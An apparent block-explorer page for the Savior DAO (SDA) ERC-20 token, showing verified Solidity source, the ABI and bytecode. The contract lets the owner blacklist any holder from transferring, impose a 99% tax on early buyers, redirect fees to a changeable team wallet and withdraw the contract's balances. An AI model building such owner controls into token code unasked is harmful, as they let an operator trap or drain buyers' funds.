Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000,000 SDA
Holders
32
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.697770605846240583 SDAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
SaviorDao
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-11 */ /* https://t.me/SaviorEntry */ // SPDX-License-Identifier: MIT pragma solidity 0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SaviorDao is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _blacklisted; address private _TeamWallet = owner(); address private _routerAddress=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalfees=15; uint256 public _burnfees=5;// % from t-tax address public _burnAddress = address(0xDead); bool public _autoburn=false; uint256 private _swapAfter=15; uint256 private _tTxs=0; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 1e12 * 10**_decimals; string private constant _name = unicode"Savior DAO"; string private constant _symbol = unicode"SDA"; uint256 public _maxTxAmount = ((_tTotal*2)/100); uint256 public _maxWalletSize = ((_tTotal*2)/100); uint256 public _taxSwap=((_tTotal*5)/1000); IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private _tradingActive; uint private _launchBlock; uint private _earlybuyersblocks = 0; bool private swaplock = false; bool private swapEnabled = false; event RemoveLimitTriggered(bool _status); modifier Swapping { swaplock = true; _; swaplock = false; } constructor () { _balances[address(this)] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_TeamWallet] = true; emit Transfer(address(0), address(this), _tTotal); } receive() external payable {} function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 tfees=0; if (from != owner() && to != owner()) { require(!_blacklisted[from] && !_blacklisted[to]); if(!swaplock){ tfees = amount.mul(_totalfees).div(100); } if(_launchBlock + _earlybuyersblocks >= block.number && _tradingActive==true){ tfees = amount.mul(99).div(100); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _tTxs++; } uint256 contractTokenBalance = balanceOf(address(this)); if (!swaplock && from != uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwap && _tTxs>_swapAfter) { swapTokensForEth(_taxSwap>amount?amount:_taxSwap); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { _distributeTaxes(address(this).balance); } } } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(tfees)); emit Transfer(from, to, amount.sub(tfees)); if(tfees>0){ _balances[address(this)]=_balances[address(this)].add(tfees); emit Transfer(from, address(this),tfees); } } function _setAutoBurn(bool _onoff,uint256 _percent_base100) external onlyOwner{ _autoburn=_onoff; _burnfees = _percent_base100; } function swapTokensForEth(uint256 tokenAmount) private Swapping { address[] memory path = new address[](2); uint256 _burnAmount = tokenAmount.mul(_burnfees).div(100); if(_autoburn){ tokenAmount = tokenAmount - _burnAmount; } path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); if(_autoburn && _burnAmount > 0){ _balances[_burnAddress] = _balances[_burnAddress].add(_burnAmount); _balances[address(this)] = _balances[address(this)].sub(_burnAmount); emit Transfer(address(this),_burnAddress,_burnAmount); } } function _removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit RemoveLimitTriggered(true); } function _distributeTaxes(uint256 amount) private { payable(_TeamWallet).transfer(amount); } function _blockbots(address[] memory addys) public onlyOwner { for (uint i = 0; i < addys.length; i++) { //avoid bl pair & router if(addys[i] != address(uniswapV2Router) && addys[i] != address(uniswapV2Pair)){ _blacklisted[addys[i]] = true; } } } function _unblockbots(address[] memory addys) public onlyOwner { for (uint i = 0; i < addys.length; i++) { _blacklisted[addys[i]] = false; } } function EnableTrading() external onlyOwner() { require(!_tradingActive,"trading is already open"); uniswapV2Router = IUniswapV2Router02(_routerAddress); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _launchBlock = block.number; _tradingActive = true; swapEnabled = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _setfees(uint256 _newfees) external onlyOwner{ require(_newfees < _totalfees,"Fees can't go up"); _totalfees=_newfees; } function _swapback() external onlyOwner{ //avoid nuking lp set swap to max swapAmount uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance>_taxSwap?_taxSwap:contractBalance); } function _rescueETH() external onlyOwner{ _distributeTaxes(address(this).balance); } function _rescueERC(uint256 amount) external onlyOwner{ if (amount == 0 || amount > balanceOf(address(this))) { amount = balanceOf(address(this)); } _transfer(address(this),owner(),amount); } function _changeTeamWallet(address _new_addy) external onlyOwner{ _TeamWallet=_new_addy; _isExcludedFromFee[_new_addy] = true; } function _changeSnipersBlocks(uint _n) external onlyOwner{ require(_tradingActive==false,"Trading already enabled"); _earlybuyersblocks=_n; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_status","type":"bool"}],"name":"RemoveLimitTriggered","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_autoburn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addys","type":"address[]"}],"name":"_blockbots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_burnAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_burnfees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_n","type":"uint256"}],"name":"_changeSnipersBlocks","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_new_addy","type":"address"}],"name":"_changeTeamWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_rescueERC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_onoff","type":"bool"},{"internalType":"uint256","name":"_percent_base100","type":"uint256"}],"name":"_setAutoBurn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newfees","type":"uint256"}],"name":"_setfees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_swapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_taxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addys","type":"address[]"}],"name":"_unblockbots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000546001600160a01b0316600580546001600160a01b03929092166001600160a01b031992831617815560068054909216737a250d5630b4cf539739df2c5dacb4c659f2488d17909155600f6007819055600891909155600980546001600160a81b03191661dead179055600a9081556000600b556064906200008b90601290620003a3565b6200009c9064e8d4a51000620003bb565b620000a9906002620003bb565b620000b59190620003d5565b600c556064620000c86012600a620003a3565b620000d99064e8d4a51000620003bb565b620000e6906002620003bb565b620000f29190620003d5565b600d556103e8620001066012600a620003a3565b620001179064e8d4a51000620003bb565b62000124906005620003bb565b620001309190620003d5565b600e5560006012556013805461ffff191690553480156200015057600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001a06012600a620003a3565b620001b19064e8d4a51000620003bb565b306000908152600160208190526040822092909255600390620001dc6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553080825260039094528281208054861660019081179091556005549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002666012600a620003a3565b620002779064e8d4a51000620003bb565b60405190815260200160405180910390a3620003f8565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002e5578160001904821115620002c957620002c96200028e565b80851615620002d757918102915b93841c9390800290620002a9565b509250929050565b600082620002fe575060016200039d565b816200030d575060006200039d565b8160018114620003265760028114620003315762000351565b60019150506200039d565b60ff8411156200034557620003456200028e565b50506001821b6200039d565b5060208310610133831016604e8410600b841016171562000376575081810a6200039d565b620003828383620002a4565b80600019048211156200039957620003996200028e565b0290505b92915050565b6000620003b460ff841683620002ed565b9392505050565b80820281158282048414176200039d576200039d6200028e565b600082620003f357634e487b7160e01b600052601260045260246000fd5b500490565b611f4e80620004086000396000f3fe6080604052600436106101bb5760003560e01c8063715018a6116100ec578063bd3900c01161008a578063dd62ed3e11610064578063dd62ed3e146104c8578063ddb3a63b1461050e578063ddfcd18c1461052e578063e10fb3601461054357600080fd5b8063bd3900c014610473578063bffe77ad14610493578063d1d71d60146104b357600080fd5b80638da5cb5b116100c65780638da5cb5b146103df5780638f9a55c01461041157806395d89b4114610427578063a9059cbb1461045357600080fd5b8063715018a6146103945780637d1db4a5146103a95780638b52b573146103bf57600080fd5b8063313ce567116101595780634711325f116101335780634711325f146103285780634a30b3861461033e5780635c571fa21461035357806370a082311461037457600080fd5b8063313ce567146102d6578063328e9e17146102f257806334376f3b1461031257600080fd5b806318160ddd1161019557806318160ddd1461025e5780631d97b7cd14610281578063237b8c721461029657806323b872dd146102b657600080fd5b806306fdde03146101c7578063095ea7b31461020c57806314a0a1b51461023c57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600a815269536176696f722044414f60b01b60208201525b60405161020391906119f5565b60405180910390f35b34801561021857600080fd5b5061022c610227366004611a68565b610563565b6040519015158152602001610203565b34801561024857600080fd5b5061025c610257366004611a94565b61057a565b005b34801561026a57600080fd5b5061027361060c565b604051908152602001610203565b34801561028d57600080fd5b5061025c61062e565b3480156102a257600080fd5b5061025c6102b1366004611aad565b6109de565b3480156102c257600080fd5b5061022c6102d1366004611aca565b610a42565b3480156102e257600080fd5b5060405160128152602001610203565b3480156102fe57600080fd5b5061025c61030d366004611b19565b610aa6565b34801561031e57600080fd5b50610273600e5481565b34801561033457600080fd5b5061027360085481565b34801561034a57600080fd5b5061025c610af2565b34801561035f57600080fd5b5060095461022c90600160a01b900460ff1681565b34801561038057600080fd5b5061027361038f366004611aad565b610b8e565b3480156103a057600080fd5b5061025c610ba9565b3480156103b557600080fd5b50610273600c5481565b3480156103cb57600080fd5b5061025c6103da366004611a94565b610c1d565b3480156103eb57600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610203565b34801561041d57600080fd5b50610273600d5481565b34801561043357600080fd5b5060408051808201909152600381526253444160e81b60208201526101f6565b34801561045f57600080fd5b5061022c61046e366004611a68565b610c88565b34801561047f57600080fd5b506009546103f9906001600160a01b031681565b34801561049f57600080fd5b5061025c6104ae366004611b4d565b610c95565b3480156104bf57600080fd5b5061025c610d2b565b3480156104d457600080fd5b506102736104e3366004611c12565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561051a57600080fd5b5061025c610529366004611b4d565b610d60565b34801561053a57600080fd5b5061025c610e79565b34801561054f57600080fd5b5061025c61055e366004611a94565b610eca565b6000610570338484610f3d565b5060015b92915050565b6000546001600160a01b031633146105ad5760405162461bcd60e51b81526004016105a490611c4b565b60405180910390fd5b601054600160a01b900460ff16156106075760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c656400000000000000000060448201526064016105a4565b601255565b600061061a6012600a611d7a565b6106299064e8d4a51000611d89565b905090565b6000546001600160a01b031633146106585760405162461bcd60e51b81526004016105a490611c4b565b601054600160a01b900460ff16156106b25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105a4565b600654600f80546001600160a01b0319166001600160a01b0390921691821790556106f99030906106e56012600a611d7a565b6106f49064e8d4a51000611d89565b610f3d565b600f60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561074c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107709190611da0565b6001600160a01b031663c9c6539630600f60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f69190611da0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610843573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108679190611da0565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061089781610b8e565b6000806108ac6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610914573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109399190611dbd565b505043601155506010805460ff60a01b198116600160a01b179091556013805461ff001916610100179055600f5460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156109b7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109db9190611deb565b50565b6000546001600160a01b03163314610a085760405162461bcd60e51b81526004016105a490611c4b565b600580546001600160a01b039092166001600160a01b0319909216821790556000908152600360205260409020805460ff19166001179055565b6000610a4f848484611061565b610a9c84336106f485604051806060016040528060288152602001611ef1602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061156e565b5060019392505050565b6000546001600160a01b03163314610ad05760405162461bcd60e51b81526004016105a490611c4b565b60098054921515600160a01b0260ff60a01b1990931692909217909155600855565b6000546001600160a01b03163314610b1c5760405162461bcd60e51b81526004016105a490611c4b565b610b286012600a611d7a565b610b379064e8d4a51000611d89565b600c55610b466012600a611d7a565b610b559064e8d4a51000611d89565b600d55604051600181527f97349b872222986eb84ae5a80d8908f03ad1daf9e73bdae7d35a48264fdb293e9060200160405180910390a1565b6001600160a01b031660009081526001602052604090205490565b6000546001600160a01b03163314610bd35760405162461bcd60e51b81526004016105a490611c4b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c475760405162461bcd60e51b81526004016105a490611c4b565b801580610c5b5750610c5830610b8e565b81115b15610c6c57610c6930610b8e565b90505b6109db30610c826000546001600160a01b031690565b83611061565b6000610570338484611061565b6000546001600160a01b03163314610cbf5760405162461bcd60e51b81526004016105a490611c4b565b60005b8151811015610d2757600060046000848481518110610ce357610ce3611e08565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610d1f81611e1e565b915050610cc2565b5050565b6000546001600160a01b03163314610d555760405162461bcd60e51b81526004016105a490611c4b565b610d5e476115a8565b565b6000546001600160a01b03163314610d8a5760405162461bcd60e51b81526004016105a490611c4b565b60005b8151811015610d2757600f5482516001600160a01b0390911690839083908110610db957610db9611e08565b60200260200101516001600160a01b031614158015610e0a575060105482516001600160a01b0390911690839083908110610df657610df6611e08565b60200260200101516001600160a01b031614155b15610e6757600160046000848481518110610e2757610e27611e08565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610e7181611e1e565b915050610d8d565b6000546001600160a01b03163314610ea35760405162461bcd60e51b81526004016105a490611c4b565b6000610eae30610b8e565b90506109db600e548211610ec257816115e2565b600e546115e2565b6000546001600160a01b03163314610ef45760405162461bcd60e51b81526004016105a490611c4b565b6007548110610f385760405162461bcd60e51b815260206004820152601060248201526f0466565732063616e277420676f2075760841b60448201526064016105a4565b600755565b6001600160a01b038316610f9f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a4565b6001600160a01b0382166110005760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a4565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110c55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a4565b6001600160a01b0382166111275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a4565b600081116111895760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a4565b600080546001600160a01b038581169116148015906111b657506000546001600160a01b03848116911614155b1561142b576001600160a01b03841660009081526004602052604090205460ff161580156111fd57506001600160a01b03831660009081526004602052604090205460ff16155b61120657600080fd5b60135460ff1661123357611230606461122a6007548561185b90919063ffffffff16565b906118e4565b90505b436012546011546112449190611e37565b101580156112605750601054600160a01b900460ff1615156001145b1561127857611275606461122a84606361185b565b90505b6010546001600160a01b0385811691161480156112a35750600f546001600160a01b03848116911614155b80156112c857506001600160a01b03831660009081526003602052604090205460ff16155b1561139a57600c5482111561131f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105a4565b600d548261132c85610b8e565b6113369190611e37565b11156113845760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105a4565b600b805490600061139483611e1e565b91905055505b60006113a530610b8e565b60135490915060ff161580156113c957506010546001600160a01b03868116911614155b80156113dc5750601354610100900460ff165b80156113e95750600e5481115b80156113f85750600a54600b54115b156114295761141783600e541161141157600e546115e2565b836115e2565b47801561142757611427476115a8565b505b505b6001600160a01b03841660009081526001602052604090205461144e9083611926565b6001600160a01b0385166000908152600160205260409020556114936114748383611926565b6001600160a01b03851660009081526001602052604090205490611968565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6114dd8585611926565b60405190815260200160405180910390a38015611568573060009081526001602052604090205461150e9082611968565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061155f9085815260200190565b60405180910390a35b50505050565b600081848411156115925760405162461bcd60e51b81526004016105a491906119f5565b50600061159f8486611e4a565b95945050505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610d27573d6000803e3d6000fd5b6013805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050600061162c606461122a6008548661185b90919063ffffffff16565b600954909150600160a01b900460ff161561164e5761164b8184611e4a565b92505b308260008151811061166257611662611e08565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116df9190611da0565b826001815181106116f2576116f2611e08565b6001600160a01b039283166020918202929092010152600f546117189130911685610f3d565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611751908690600090879030904290600401611e5d565b600060405180830381600087803b15801561176b57600080fd5b505af115801561177f573d6000803e3d6000fd5b5050600954600160a01b900460ff16915050801561179d5750600081115b1561184c576009546001600160a01b03166000908152600160205260409020546117c79082611968565b6009546001600160a01b03166000908152600160205260408082209290925530815220546117f59082611926565b306000818152600160209081526040918290209390935560095490518481526001600160a01b03909116927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b50506013805460ff1916905550565b60008260000361186d57506000610574565b60006118798385611d89565b9050826118868583611ece565b146118dd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a4565b9392505050565b60006118dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119c7565b60006118dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061156e565b6000806119758385611e37565b9050838110156118dd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a4565b600081836119e85760405162461bcd60e51b81526004016105a491906119f5565b50600061159f8486611ece565b600060208083528351808285015260005b81811015611a2257858101830151858201604001528201611a06565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109db57600080fd5b8035611a6381611a43565b919050565b60008060408385031215611a7b57600080fd5b8235611a8681611a43565b946020939093013593505050565b600060208284031215611aa657600080fd5b5035919050565b600060208284031215611abf57600080fd5b81356118dd81611a43565b600080600060608486031215611adf57600080fd5b8335611aea81611a43565b92506020840135611afa81611a43565b929592945050506040919091013590565b80151581146109db57600080fd5b60008060408385031215611b2c57600080fd5b8235611a8681611b0b565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611b6057600080fd5b823567ffffffffffffffff80821115611b7857600080fd5b818501915085601f830112611b8c57600080fd5b813581811115611b9e57611b9e611b37565b8060051b604051601f19603f83011681018181108582111715611bc357611bc3611b37565b604052918252848201925083810185019188831115611be157600080fd5b938501935b82851015611c0657611bf785611a58565b84529385019392850192611be6565b98975050505050505050565b60008060408385031215611c2557600080fd5b8235611c3081611a43565b91506020830135611c4081611a43565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611cd1578160001904821115611cb757611cb7611c80565b80851615611cc457918102915b93841c9390800290611c9b565b509250929050565b600082611ce857506001610574565b81611cf557506000610574565b8160018114611d0b5760028114611d1557611d31565b6001915050610574565b60ff841115611d2657611d26611c80565b50506001821b610574565b5060208310610133831016604e8410600b8410161715611d54575081810a610574565b611d5e8383611c96565b8060001904821115611d7257611d72611c80565b029392505050565b60006118dd60ff841683611cd9565b808202811582820484141761057457610574611c80565b600060208284031215611db257600080fd5b81516118dd81611a43565b600080600060608486031215611dd257600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611dfd57600080fd5b81516118dd81611b0b565b634e487b7160e01b600052603260045260246000fd5b600060018201611e3057611e30611c80565b5060010190565b8082018082111561057457610574611c80565b8181038181111561057457610574611c80565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ead5784516001600160a01b031683529383019391830191600101611e88565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611eeb57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bcbdee1b25d1a3b2f5e2e3a7d0a61ee8e7760e85670d0ee437c0206bee3a3d9d64736f6c63430008110033
Deployed Bytecode
